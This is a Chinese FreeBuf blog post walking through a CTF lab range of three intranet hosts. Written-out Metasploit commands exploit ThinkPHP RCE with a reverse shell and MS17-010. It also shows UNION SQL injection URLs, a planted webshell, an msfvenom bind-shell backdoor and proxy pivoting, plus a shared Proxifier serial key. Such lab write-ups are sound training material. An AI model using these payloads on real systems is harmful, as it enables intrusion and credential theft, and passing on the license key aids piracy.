freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

代理技术应用之三层内网漫游
2022-03-30 18:48:01
所属地 四川省

2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个Flag对应一个积分,获取三个Flag结束。本文是作者学习内网时练习经历,若文中有错误请各位师傅指出。

环境介绍

image.png

环境搭建

下载靶机后,导入VM中

配置网卡

编辑->虚拟网络编辑器
image.pngimage.png

target1

双网卡
image.png
image.png
还需要配置宝塔
image.png
访问:http://192.168.184.142:8888/a768f109/
添加如下配置
image.png

target2

双网卡

配置网卡操作同target1

更改ip地址操作如下

1.打开vi /etc/network/interfaces文件

2.编辑后重启
image.png
image.png
还需要配置宝塔(这里多弄一张nat网卡才能访问宝塔面板)
image.png
访问:http://192.168.184.145:8888/2cc52ec0/
不知道为啥这里显示的password是错的,网上搜到密码应该是123qwe..

添加配置如下
image.png
配置完后关闭这张nat网卡

target3

单网卡

配置网卡同target1

更改ip地址操作如下:
image.png

打靶

利用过程

利用nmap进行C段扫描,得到target1的ip,nmap 192.168.184.0/24
image.png
访问80端口,是一个thinkphp5搭建的web服务

先上扫描器扫后台
image.png
访问/robots.txt,拿到第一个flag
image.png
TP5可能存在RCE,于是利用msf的攻击模块去打
image.png

use exploit/unix/webapp/thinkphp_rce
set rhosts 192.168.184.142
set rport 80
set targeturi /index.php
set lhost 192.168.184.128
set lport 1111
run

成功拿到shell,获取到web权限
image.png
信息收集及配置访问

获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.22.0/24

image.png
msf开启本地代理

use auxiliary/server/socks_proxy
show options
set SRVHOST 192.168.184.128
set SRVPORT 自定义端口

image.png
利用本地代理接口进行访问测试
linux

vim /etc/proxychains4.conf # 找到配置文件位置

添加如下内容
image.png
利用proxychains4,对192.168.22.0/24网段进行探针

proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80
# -Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
# -sT:扫描TCP数据包已建立的连接connect

这里探针到192.168.22.22的80端口开启
image.png
这里还可以使用msf自带的端口扫描

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.22.0/24
set threads 100
run

windows

利用代理工具ProxyfierSocksCap64载入代理进行进程访问测试

在浏览器配置代理去访问刚刚过的的目标ip地址(这里在自己真实主机上通过设置代理也能访问到,因为主机能ping通192.168.184.128)
image.png
这里利用SocksCap64结合御剑进行后台扫描(此操作在自己的物理主机上)
image.png
但是对扫描到的路径和文件进行访问并没有可用信息,只在robots.txt文件中发现了后台登陆点/index.php?r=admini
image.png
继续找线索,在目标主页右键查看源码信息,得到Hint,该站点/index.php?r=vul&keyword=1存在SQL注入
image.png
这里最开始我是用kali里的sqlmap去跑的

sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" --proxy="http://192.168.184.128:1080" -p keyword

不知道为什么说不存在注入
image.png
在物理机上的sqlmap更是扫不了,不知道为什么代理没起作用
image.png
最后我采用手工注入QAQ

  1. 获取数据库

http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(schema_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.schemata%23

image.png
2. 获取bagecms数据库下的所有表名

http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.tables where table_schema='bagecms'%23

image.png
3. 获取bagecms数据库下的bage_admin表中所有字段

http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(column_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.columns where table_name='bage_admin'%23

image.png
4. 获取bagecms数据库下的bage_admin表中字段usernamepassword的值

http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(username),group_concat(password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bage_admin%23

image.png
密码通过somd5解密如下
image.png
5. 综上获得用户名:admin,密码:123qwe

用获得的用户名和密码去后台登录,进去便得到第二个flag
image.png
在后台翻找,发现这里可以直接修改**/tag/下的index.php**的内容
image.png
我直接写个马进去
image.png
但是我这里又遇到问题了,不管是Proxifier或SocksCap64做代理用caidao去连,还是用蚁剑自带的代理设置去连,都没有成功
image.png
image.png
折磨了我一晚上第二天早上又折磨了一上午,最后在网上看到说可能是宝塔有拦截,用冰蝎可以连,于是我就上了冰蝎的马

终于成功了!
image.png
image.png
要是还不成功我都想用一些奇怪的姿势去弄了,比如将target2反弹shell(通过写入命令执行到.php文件)给target1,taiget1利用portmap端口转发再反弹给kali的msf,来拿shell

总之拿到shell就好,tnl

到此target2拿下,接下来是target3
这里插一句,做一个小记录,我最开始是想通过下图这个执行sql语句来写入webshell的,但是貌似没有写的权限,并且对<?php ?>有过滤,再加上也不知道网站根目录在哪,就没有深入了
image.png
这里我们要继续到第三个靶机target3还需要借助target2来设置路由才能访问,所以需要将target2的shell交到msf手上

这里不能采用反向连接,因为target2是无法出网找到我们的kali的,所以需要我们的kali主动去绑定target2,所以msf在生成木马时会和反弹shell有不同

生成正向后门:

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
# 这里使用的是bind_tcp,而反弹时reverse_tcp
# elf是linux的可执行文件

msf正向连接

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.22
set LPORT 3333
exploit

image.png
利用冰蝎去上传并执行后门
image.png
image.png
msf得到获得session
image.png
这里其实也可以不这么麻烦,冰蝎上有可以将不出网的主机反弹给msf的功能,同样能将冰蝎得到的shell反弹给msf
image.png
信息收集及配置访问

获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.33.0/24

image.png
使用msf自带的端口扫描,来探针存活主机

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.33.0/24
set threads 100
run

探针到存活主机192.168.33.33
image.png
再用proxychains4+nmap来对192.168.33.33进行端口扫描,通过结果可以看出是一台windows
image.png
这里猜测大概率存在永恒之蓝MS17-010

利用msf的攻击模块尝试去打

先search一下有哪些攻击模块
image.png
选择exploit/windows/smb/ms17_010_psexec

# 选择攻击模块
use exploit/windows/smb/ms17_010_psexec
# 设置正向连接
set payload windows/x64/meterpreter/bind_tcp
# 设置攻击目标ip地址
set rhosts 192.168.33.33
# 开打!
run

成功得到session

这里shell乱码,可以输入chcp 65001修改编码,就好了
image.png
搜索flag

cd /
dir /S *flag* /B
type C:\Windows\System32\config\flag.txt
# /B 显示文件夹或文件的名字
# /S 显示指定目录和所有子目录中的文件。
# dir /S /B *flag* 这样写也可以

image.png
这里得到两个flag

到此三层内网靶机渗透完毕,芜湖起飞!

总结

这次打这个靶机可谓是困难重重,遇到好多非预期bug,看别人文章上顺的一批,自己就是死活弄不出,折磨了好几天,真是让我体会到,不是自己动手做过,真不知道其中的艰辛,看着别人一帆风顺,实则一大堆坑在等着,所以(实操>>理论)。不过结果是好的,有了第一次,下次也许就顺了吧,也许吧。

参考

https://blog.csdn.net/weixin_45447309/article/details/106907920

https://blog.csdn.net/li93675/article/details/81175883

内网安全-隧道穿透漫游-先知社区

为什么蚁剑连接成功了,但是再次执行命令就会reset【宝塔的服务器】

资源

frp:https://github.com/fatedier/frp/releases/(下载选择对应版本,linux查看内核版本信息unam -a

CFS三层靶机环境:https://pan.baidu.com/s/1l5-TOVe9FO8mEjCiZ4mtMQ 提取码:xiao

SocksCap64下载

Proxifier下载---注册码序列号5EZ8G-C3WL5-B56YG-SCXM9-6QZAP(Standard Edition 安装版本)

# web安全 # 内网渗透 # CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录